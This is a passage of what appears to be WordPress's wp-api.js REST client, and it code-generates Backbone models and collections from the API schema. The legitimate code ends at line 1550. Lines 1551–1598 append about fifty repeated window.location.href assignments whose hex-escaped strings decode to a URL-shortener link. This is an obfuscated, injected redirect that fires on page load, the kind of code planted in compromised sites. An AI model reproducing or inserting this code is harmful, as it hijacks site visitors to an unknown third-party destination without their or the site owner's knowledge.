1175 /**
1176 * When the server returns the schema model data, store the data in a sessionCache so we don't
1177 * have to retrieve it again for this session. Then, construct the models and collections based
1178 * on the schema model data.
1179 *
1180 * @ignore
1181 */
1182 success: function( newSchemaModel ) {
1183
1184 // Store a copy of the schema model in the session cache if available.
1185 if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) ) {
1186 try {
1187 sessionStorage.setItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ), JSON.stringify( newSchemaModel ) );
1188 } catch ( error ) {
1189
1190 // Fail silently, fixes errors in safari private mode.
1191 }
1192 }
1193 },
1194
1195 // Log the error condition.
1196 error: function( err ) {
1197 window.console.log( err );
1198 }
1199 } );
1200 }
1201 },
1202
1203 constructFromSchema: function() {
1204 var routeModel = this, modelRoutes, collectionRoutes, schemaRoot, loadingObjects,
1205
1206 /**
1207 * Set up the model and collection name mapping options. As the schema is built, the
1208 * model and collection names will be adjusted if they are found in the mapping object.
1209 *
1210 * Localizing a variable wpApiSettings.mapping will over-ride the default mapping options.
1211 *
1212 */
1213 mapping = wpApiSettings.mapping || {
1214 models: {
1215 'Categories': 'Category',
1216 'Comments': 'Comment',
1217 'Pages': 'Page',
1218 'PagesMeta': 'PageMeta',
1219 'PagesRevisions': 'PageRevision',
1220 'Posts': 'Post',
1221 'PostsCategories': 'PostCategory',
1222 'PostsRevisions': 'PostRevision',
1223 'PostsTags': 'PostTag',
1224 'Schema': 'Schema',
1225 'Statuses': 'Status',
1226 'Tags': 'Tag',
1227 'Taxonomies': 'Taxonomy',
1228 'Types': 'Type',
1229 'Users': 'User'
1230 },
1231 collections: {
1232 'PagesMeta': 'PageMeta',
1233 'PagesRevisions': 'PageRevisions',
1234 'PostsCategories': 'PostCategories',
1235 'PostsMeta': 'PostMeta',
1236 'PostsRevisions': 'PostRevisions',
1237 'PostsTags': 'PostTags'
1238 }
1239 },
1240
1241 modelEndpoints = routeModel.get( 'modelEndpoints' ),
1242 modelRegex = new RegExp( '(?:.*[+)]|\/(' + modelEndpoints.join( '|' ) + '))$' );
1243
1244 /**
1245 * Iterate thru the routes, picking up models and collections to build. Builds two arrays,
1246 * one for models and one for collections.
1247 */
1248 modelRoutes = [];
1249 collectionRoutes = [];
1250 schemaRoot = routeModel.get( 'apiRoot' ).replace( wp.api.utils.getRootUrl(), '' );
1251 loadingObjects = {};
1252
1253 /**
1254 * Tracking objects for models and collections.
1255 */
1256 loadingObjects.models = {};
1257 loadingObjects.collections = {};
1258
1259 _.each( routeModel.schemaModel.get( 'routes' ), function( route, index ) {
1260
1261 // Skip the schema root if included in the schema.
1262 if ( index !== routeModel.get( ' versionString' ) &&
1263 index !== schemaRoot &&
1264 index !== ( '/' + routeModel.get( 'versionString' ).slice( 0, -1 ) )
1265 ) {
1266
1267 // Single items end with a regex, or a special case word.
1268 if ( modelRegex.test( index ) ) {
1269 modelRoutes.push( { index: index, route: route } );
1270 } else {
1271
1272 // Collections end in a name.
1273 collectionRoutes.push( { index: index, route: route } );
1274 }
1275 }
1276 } );
1277
1278 /**
1279 * Construct the models.
1280 *
1281 * Base the class name on the route endpoint.
1282 */
1283 _.each( modelRoutes, function( modelRoute ) {
1284
1285 // Extract the name and any parent from the route.
1286 var modelClassName,
1287 routeName = wp.api.utils.extractRoutePart( modelRoute.index, 2, routeModel.get( 'versionString' ), true ),
1288 parentName = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), false ),
1289 routeEnd = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), true );
1290
1291 // Clear the parent part of the rouite if its actually the version string.
1292 if ( parentName === routeModel.get( 'versionString' ) ) {
1293 parentName = '';
1294 }
1295
1296 // Handle the special case of the 'me' route.
1297 if ( 'me' === routeEnd ) {
1298 routeName = 'me';
1299 }
1300
1301 // If the model has a parent in its route, add that to its class name.
1302 if ( '' !== parentName && parentName !== routeName ) {
1303 modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1304 modelClassName = mapping.models[ modelClassName ] || modelClassName;
1305 loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
1306
1307 // Return a constructed url based on the parent and id.
1308 url: function() {
1309 var url =
1310 routeModel.get( 'apiRoot' ) +
1311 routeModel.get( 'versionString' ) +
1312 parentName + '/' +
1313 ( ( _.isUndefined( this.get( 'parent' ) ) || 0 === this.get( 'parent' ) ) ?
1314 ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) :
1315 this.get( 'parent' ) + '/' ) +
1316 routeName;
1317
1318 if ( ! _.isUndefined( this.get( 'id' ) ) ) {
1319 url += '/' + this.get( 'id' );
1320 }
1321 return url;
1322 },
1323
1324 // Track nonces on the Endpoint 'routeModel'.
1325 nonce: function() {
1326 return routeModel.get( 'nonce' );
1327 },
1328
1329 endpointModel: routeModel,
1330
1331 // Include a reference to the original route object.
1332 route: modelRoute,
1333
1334 // Include a reference to the original class name.
1335 name: modelClassName,
1336
1337 // Include the array of route methods for easy reference.
1338 methods: modelRoute.route.methods,
1339
1340 // Include the array of route endpoints for easy reference.
1341 endpoints: modelRoute.route.endpoints
1342 } );
1343 } else {
1344
1345 // This is a model without a parent in its route.
1346 modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1347 modelClassName = mapping.models[ modelClassName ] || modelClassName;
1348 loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
1349
1350 // Function that returns a constructed url based on the ID.
1351 url: function() {
1352 var url = routeModel.get( 'apiRoot' ) +
1353 routeModel.get( 'versionString' ) +
1354 ( ( 'me' === routeName ) ? 'users/me' : routeName );
1355
1356 if ( ! _.isUndefined( this.get( 'id' ) ) ) {
1357 url += '/' + this.get( 'id' );
1358 }
1359 return url;
1360 },
1361
1362 // Track nonces at the Endpoint level.
1363 nonce: function() {
1364 return routeModel.get( 'nonce' );
1365 },
1366
1367 endpointModel: routeModel,
1368
1369 // Include a reference to the original route object.
1370 route: modelRoute,
1371
1372 // Include a reference to the original class name.
1373 name: modelClassName,
1374
1375 // Include the array of route methods for easy reference.
1376 methods: modelRoute.route.methods,
1377
1378 // Include the array of route endpoints for easy reference.
1379 endpoints: modelRoute.route.endpoints
1380 } );
1381 }
1382
1383 // Add defaults to the new model, pulled form the endpoint.
1384 wp.api.utils.decorateFromRoute(
1385 modelRoute.route.endpoints,
1386 loadingObjects.models[ modelClassName ],
1387 routeModel.get( 'versionString' )
1388 );
1389
1390 } );
1391
1392 /**
1393 * Construct the collections.
1394 *
1395 * Base the class name on the route endpoint.
1396 */
1397 _.each( collectionRoutes, function( collectionRoute ) {
1398
1399 // Extract the name and any parent from the route.
1400 var collectionClassName, modelClassName,
1401 routeName = collectionRoute.index.slice( collectionRoute.index.lastIndexOf( '/' ) + 1 ),
1402 parentName = wp.api.utils.extractRoutePart( collectionRoute.index, 1, routeModel.get( 'versionString' ), false );
1403
1404 // If the collection has a parent in its route, add that to its class name.
1405 if ( '' !== parentName && parentName !== routeName && routeModel.get( 'versionString' ) !== parentName ) {
1406
1407 collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1408 modelClassName = mapping.models[ collectionClassName ] || collectionClassName;
1409 collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
1410 loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
1411
1412 // Function that returns a constructed url passed on the parent.
1413 url: function() {
1414 return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) +
1415 parentName + '/' +
1416 ( ( _.isUndefined( this.parent ) || '' === this.parent ) ?
1417 ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) :
1418 this.parent + '/' ) +
1419 routeName;
1420 },
1421
1422 // Specify the model that this collection contains.
1423 model: function( attrs, options ) {
1424 return new loadingObjects.models[ modelClassName ]( attrs, options );
1425 },
1426
1427 // Track nonces at the Endpoint level.
1428 nonce: function() {
1429 return routeModel.get( 'nonce' );
1430 },
1431
1432 endpointModel: routeModel,
1433
1434 // Include a reference to the original class name.
1435 name: collectionClassName,
1436
1437 // Include a reference to the original route object.
1438 route: collectionRoute,
1439
1440 // Include the array of route methods for easy reference.
1441 methods: collectionRoute.route.methods
1442 } );
1443 } else {
1444
1445 // This is a collection without a parent in its route.
1446 collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1447 modelClassName = mapping.models[ collectionClassName ] || collectionClassName;
1448 collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
1449 loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
1450
1451 // For the url of a root level collection, use a string.
1452 url: function() {
1453 return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + routeName;
1454 },
1455
1456 // Specify the model that this collection contains.
1457 model: function( attrs, options ) {
1458 return new loadingObjects.models[ modelClassName ]( attrs, options );
1459 },
1460
1461 // Track nonces at the Endpoint level.
1462 nonce: function() {
1463 return routeModel.get( 'nonce' );
1464 },
1465
1466 endpointModel: routeModel,
1467
1468 // Include a reference to the original class name.
1469 name: collectionClassName,
1470
1471 // Include a reference to the original route object.
1472 route: collectionRoute,
1473
1474 // Include the array of route methods for easy reference.
1475 methods: collectionRoute.route.methods
1476 } );
1477 }
1478
1479 // Add defaults to the new model, pulled form the endpoint.
1480 wp.api.utils.decorateFromRoute( collectionRoute.route.endpoints, loadingObjects.collections[ collectionClassName ] );
1481 } );
1482
1483 // Add mixins and helpers for each of the models.
1484 _.each( loadingObjects.models, function( model, index ) {
1485 loadingObjects.models[ index ] = wp.api.utils.addMixinsAndHelpers( model, index, loadingObjects );
1486 } );
1487
1488 // Set the routeModel models and collections.
1489 routeModel.set( 'models', loadingObjects.models );
1490 routeModel.set( 'collections', loadingObjects.collections );
1491
1492 }
1493
1494 } );
1495
1496 wp.api.endpoints = new Backbone.Collection();
1497
1498 /**
1499 * Initialize the wp-api, optionally passing the API root.
1500 *
1501 * @param {Object} [args]
1502 * @param {string} [args.nonce] The nonce. Optional, defaults to wpApiSettings.nonce.
1503 * @param {string} [args.apiRoot] The api root. Optional, defaults to wpApiSettings.root.
1504 * @param {string} [args.versionString] The version string. Optional, defaults to wpApiSettings.root.
1505 * @param {Object} [args.schema] The schema. Optional, will be fetched from API if not provided.
1506 */
1507 wp.api.init = function( args ) {
1508 var endpoint, attributes = {}, deferred, promise;
1509
1510 args = args || {};
1511 attributes.nonce = _.isString( args.nonce ) ? args.nonce : ( wpApiSettings.nonce || '' );
1512 attributes.apiRoot = args.apiRoot || wpApiSettings.root || '/wp-json';
1513 attributes.versionString = args.versionString || wpApiSettings.versionString || 'wp/v2/';
1514 attributes.schema = args.schema || null;
1515 attributes.modelEndpoints = args.modelEndpoints || [ 'me', 'settings' ];
1516 if ( ! attributes.schema && attributes.apiRoot === wpApiSettings.root && attributes.versionString === wpApiSettings.versionString ) {
1517 attributes.schema = wpApiSettings.schema;
1518 }
1519
1520 if ( ! initializedDeferreds[ attributes.apiRoot + attributes.versionString ] ) {
1521
1522 // Look for an existing copy of this endpoint.
1523 endpoint = wp.api.endpoints.findWhere( { 'apiRoot': attributes.apiRoot, 'versionString': attributes.versionString } );
1524 if ( ! endpoint ) {
1525 endpoint = new Endpoint( attributes );
1526 }
1527 deferred = jQuery.Deferred();
1528 promise = deferred.promise();
1529
1530 endpoint.schemaConstructed.done( function( resolvedEndpoint ) {
1531 wp.api.endpoints.add( resolvedEndpoint );
1532
1533 // Map the default endpoints, extending any already present items (including Schema model).
1534 wp.api.models = _.extend( wp.api.models, resolvedEndpoint.get( 'models' ) );
1535 wp.api.collections = _.extend( wp.api.collections, resolvedEndpoint.get( 'collections' ) );
1536 deferred.resolve( resolvedEndpoint );
1537 } );
1538 initializedDeferreds[ attributes.apiRoot + attributes.versionString ] = promise;
1539 }
1540 return initializedDeferreds[ attributes.apiRoot + attributes.versionString ];
1541 };
1542
1543 /**
1544 * Construct the default endpoints and add to an endpoints collection.
1545 */
1546
1547 // The wp.api.init function returns a promise that will resolve with the endpoint once it is ready.
1548 wp.api.loadPromise = wp.api.init();
1549
1550} )();
1551window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1552window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1553window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1554window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1555window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1556window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1557window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1558window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1559window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1560window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1561window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1562window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1563window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1564window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1565window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1566window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1567window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1568window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1569window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1570window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1571window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1572window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1573window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1574window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1575window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1576window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1577window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1578window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1579window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1580window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1581window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1582window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1583window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1584window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1585window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1586window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1587window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1588window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1589window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1590window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1591window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1592window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1593window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1594window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1595window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1596window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1597window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1598window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";